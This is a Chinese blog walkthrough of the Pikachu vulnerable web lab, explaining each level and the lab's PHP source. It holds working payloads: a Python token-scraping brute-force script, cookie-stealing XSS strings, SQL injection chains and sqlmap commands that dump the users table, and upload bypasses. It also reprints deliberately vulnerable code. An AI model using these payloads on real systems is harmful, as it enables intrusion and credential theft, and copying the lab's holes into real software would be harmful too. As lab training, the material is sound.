当前位置:网站首页>Pikachu靶机通关和源码分析
Pikachu靶机通关和源码分析
2022-07-26 00:10:00 【Aiwin-Lau】
提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。
提示:以下是本篇文章正文内容,下面案例可供参考
一、暴力破解关
1,基于表单的暴力破解

没什么好说的,直接burpsuite的intruder模块进行字典爆破。

爆出账号为admin,密码是123456
源码:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
} else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。2,基于验证码绕过的爆破(on server)

用同一个验证码,进行爆破试试。

验证码一直有效,爆破出密码依旧为admin,123456。
源码:
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
}else{
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。
3,验证码绕过(on client)


源代码:
if(isset($_POST['submit'])){
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss', $username, $password);
if ($line_pre->execute()) {
$line_pre->store_result();
if ($line_pre->num_rows > 0) {
$html .= '<p> login success</p>';
} else {
$html .= '<p> username or password is not exists~</p>';
}
} else {
$html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
}
}else{
$html .= '<p> please input username and password~</p>';
}
}
前端:
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。

四、Token防爆破?

存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。

页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = []
f = open('password.txt', encoding='utf-8')
while 1:
num = f.readline().rstrip()
password.append(num)
if not num:
break
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'
}
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
# print(req.text)
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
for pa in password:
req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php',
data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})
if 'success' in req.text:
print("爆破成功,用户名:admin,密码为:%s" % pa)
break
else:
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')

源码分析:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){
$username = $_POST['username'];
$password = $_POST['password'];
$token = $_POST['token'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($token == $_SESSION['token']){
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}else{
$html.= '<p> csrf token error</p>';
}
}
set_token();
HTML:
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。
二、Cross-Site-Scripting
1,反射型(get)

前端设置了字符串的长度限制,直接去掉就好。

<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="alert('Aiwin')"/>
源码分析:
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
?>扫描过滤都没有,直接message=<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="console.log(document.cookie)"/>等都能取出cookie
2,反射型(POST)

这里有post登录页,应该要先登录,使用admin/123456登录。

使用上面相同的payload即可。
源码分析:
登录:
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
//登录时,生成cookie,1个小时有效期,供其他页面判断
setcookie('ant[uname]',$_POST['username'],time()+3600);
setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);
header("location:xss_reflected_post.php");
// echo '"<script>windows.location.href="xss_reflected_post.php"</script>';
}else{
$html ="<p>username or password error!</p>";
}
}else{
$html ="<p>please input username and password!</p>";
}
}
登录后:
if(isset($_POST['submit'])){
if(empty($_POST['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
//下面直接将前端输入的参数原封不动的输出了,出现xss
if($_POST['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
}
}
}
if(isset($_GET['logout']) && $_GET['logout'] == '1'){
setcookie('ant[uname]','');
setcookie('ant[pw]','');
header("location:post_login.php");
}
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data);
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。
3,存储型

<img src="" οnerrοr='alert(document.cookie)'/>
源码分析:
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>数据库出现异常,提交失败!</p>";
}
}
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
}else{
$html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";
}
}对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。
4,DOM型

输入的信息text会从前端通过javascript生成<a href="text">what do you see </a>

'><img src="#" οnmοuseοver="alert('Aiwin')"/> 先将生成的<a href闭合掉即可。
源码:
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>5,DOM-X型

输入的信息text会出现在URL中

'οnclick="alert(document.cookie)">
源码:
if(isset($_GET['text'])){
$html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<?php echo $html;?>通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。
6,XSS盲打

两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。
源码:
后:
<?php
$query="select * from xssblind";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
前:
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
$content=escape($link, $_POST['content']);
$name=escape($link, $_POST['name']);
$time=$time=date('Y-m-d g:i:s');
$query="insert into xssblind(time,content,name) values('$time','$content','$name')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
}else {
$html.="<p>ooo.提交出现异常,请重新提交</p>";
}
}输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。
7,XSS之过滤

随便尝试一下,script好像被过滤掉了。

<img src="x" οnerrοr="alert(document.cookie)"/>
源码:
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
?>将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。
8、XSS之htmlspecialchars

Htmlspecialchars将&->&,"->",<变成<,>变成>,唯一的缺陷就是默认不对单引号过滤。

' οnclick='alert(document.cookie)'
源码:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
$html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
?>使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。
9,XSS之href输出

由于在<a href="">标签里,直接使用javascript:alert(1)
源码:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
?>输入的message进行了htmlspecialchars,然后输出在<a href="">里面,利用javascript完美绕过。
10、XSS之js输出

好像输入被动态生成在了javascript里

';alert(document.cookie);// '闭合前面引号,//将后面注释掉
三、SQL
1,数字型注入(post)
1 order by 2 爆出两个字段
-1 union select (database()),2 爆出数据库 pikachu
-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind
-1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
-1 union select (select group_concat(username,'~',password) from pikachu.users),2 爆出账号 密码源码:
if(isset($_POST['submit']) && $_POST['id']!=null){
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
?>用户可控输出直接拼接到了select查询。
2,字符型(get)
allen' order by 2 # 爆出两个字段
allen' union select (database()),2# 爆出数据库 pikachu
allen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
allen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2# 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
allen' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}查询的是username字符型,闭合直接拼接到了select。
3, 搜索型注入
a%' union select 1,(select database()),3# 爆出数据库
a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblind
a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
a%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 # 爆出账号 密码源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{
$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}
使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。
4,XX型注入
a') union select 1,(select database())# 爆出数据库
a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
a') union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}闭合单引号和括号,直接拼接到select语句查询。
5、insert/update型
注册的username处进行报错注入
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
爆表名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
爆列名
' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
爆数据源码:
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
?>对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。
6、delete注入
56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库
56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
爆表名
56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)
爆列名
56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)
爆数据源码:
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>出现异常,提交失败!</p>";
}
}
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
?>删除数据时,直接拼接了传入的id的值,删除时能进行sql注入
7、HTTP header注入
提示中有登录,进行登录
User-Agent进行注入:
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
爆表名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
爆列名
' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
爆数据
源码:
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
if(isset($_GET['logout']) && $_GET['logout'] == 1){
setcookie('ant[uname]','',time()-3600);
setcookie('ant[pw]','',time()-3600);
header("location:sqli_header_login.php");
}
?>
直接获取了前端传入的header头信息并未经过处理插入数据库。
8,boolian盲注
allen' and ascii(substr(database(),1,1))>0 # 爆数据库
allen' and ascii(substr(database(),2,1))>0 # 爆数据库 等
allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第一个字母
allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第二个字母
以此类推,直接sqlmap跑一下
python sqlmap.py -u "http://2bf71a0cc5d14b159242fefca518c030.app.mituan.zone/vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2" --tables -D "pikachu" -cookie="PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe";
python sqlmap.py -u "http://2bf71a0cc5d14b159242fefca518c030.app.mituan.zone/vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2" --columns -T "users" -D "pikachu" -cookie="PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe";源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>打印结果输出的被注释掉了
9,时间盲注
allen' and if(ascii(substr(database(),1,1))>0,sleep(3),1)# 爆数据库
allen' and if(ascii(substr(database(),2,1))>0,sleep(3),1)# 以此类推
allen' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,slepp(3),1)# 爆第一个表名第一个字母
以此类推
sqlmap跑一下。
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{
$html.="<p class='notice'>i don't care who you are!</p>";
}
}
无论输出啥,输出都一样,只能使用时间盲注。
10、宽字节注入
kobe%df' union select 1,database()# 爆数据库名
kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
kobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
kobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_POST['submit']) && $_POST['name']!=null){
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\
四、RCE
1,exec "ping"

源码分析:
$result='';
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
if(stristr(php_uname('s'), 'windows')){ //判断系统类型
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
?>输入的ipaddress变量未经过过滤,直接进行了命令执行。
2、RCE EVAL

源码:
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
?>直接将用户的输入当成了PHP代码执行,很危险。
五、File Inclusion
1,本地文件包含

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
}
?>传入的参数直接进行了包含,应当使用白名单,规定传入的文件名
2、远程文件包含
源码:
$html1='';
if(!ini_get('allow_url_include')){
$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。
六、unsafedownload

有文件下载的途径,可以尝试一下修改filename的值
源码:
<?php
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR."inc/function.php";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);
//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>对于传入的文件路径参数未经过任何过滤即允许下载,不安全。
七、 文件上传
1,client check

前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。


源码:
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。
2,MIME-type
对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg


源码:
$html='';
if(isset($_POST['submit'])){
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
